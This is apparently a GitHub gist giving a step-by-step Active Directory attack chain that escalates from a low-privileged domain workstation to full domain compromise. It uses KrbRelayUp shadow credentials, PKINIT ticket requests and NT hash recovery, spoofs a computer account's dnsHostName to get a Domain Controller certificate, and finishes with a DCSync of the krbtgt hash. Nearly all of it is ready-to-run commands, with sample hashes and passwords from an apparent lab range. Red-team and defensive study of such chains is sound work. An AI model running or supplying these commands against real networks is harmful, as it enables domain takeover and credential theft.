Skip to content

Instantly share code, notes, and snippets.

@aniqfakhrul
Last active March 21, 2024 08:56
Show Gist options
  • Save aniqfakhrul/621ba932b69302e8f29ceaf867fcb9f1 to your computer and use it in GitHub Desktop.
Save aniqfakhrul/621ba932b69302e8f29ceaf867fcb9f1 to your computer and use it in GitHub Desktop.
Local Workstation to DC

From Local Workstation to DC

This exploit path will only imply if you have an interactive session on a domain joined workstation regardless the privilege of the account (it could be a low privileged account)

  1. Obtain system certificate for the current workstation
KrbRelayUp.exe relay -m shadowcred -f
  1. Get the certificate and certificate password.
python3 gettgtpkinit.py 'range.net/ws01$' -pfx-base64 $(cat /tmp/ws01.b64) -pfx-pass 'yB3@sL1=fP3$' -dc-ip 192.168.86.182 /tmp/out.ccache
  1. Recover NTLM hash for the computer account
python3 getnthash.py -key 643962c82ed3db0207d9fb3c6bf094dbe2721e12a32e7798dbd220db165926d2 -dc-ip 192.168.86.182 'range.net/ws01$'
  1. Clearing SPN and modify the current computer account's dnsHostName identical to Domain Controller's with modify_computer.py
python3 modify_computer.py range.net/ws01\[email protected] -hashes :0e3ae07798e1bc9e02b049a795a7e69f
  1. Request certificate with certi. A Domain Controller's certificate should be retrieved!
python3 certi.py req range.net/ws01\[email protected] range-CA01-CA -k -n --dc-ip 192.168.86.182 -t Machine --hashes :0e3ae07798e1bc9e02b049a795a7e69f
  1. Authenticate with the DC's certificate
python3 gettgtpkinit.py 'range.net/dc01$' -pfx-base64 dc01\$.pfx -pfx-pass 'admin' -dc-ip 192.168.86.182 /tmp/out.ccache
  1. Recover NTLM hash for the DC
export KRB5CCNAME=/tmp/out.ccache
python3 getnthash.py 'range/dc01$' -key {sha1-key} -dc-ip 192.168.86.182
  1. DCSync and win
secretsdumpy.py range.net/dc01\[email protected] -hashes :{retrieve-ntlm-hash} -just-dc -just-dc-user 'range\krbtgt'

For steps that requires Windows Workstation, you can refer to this gist

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment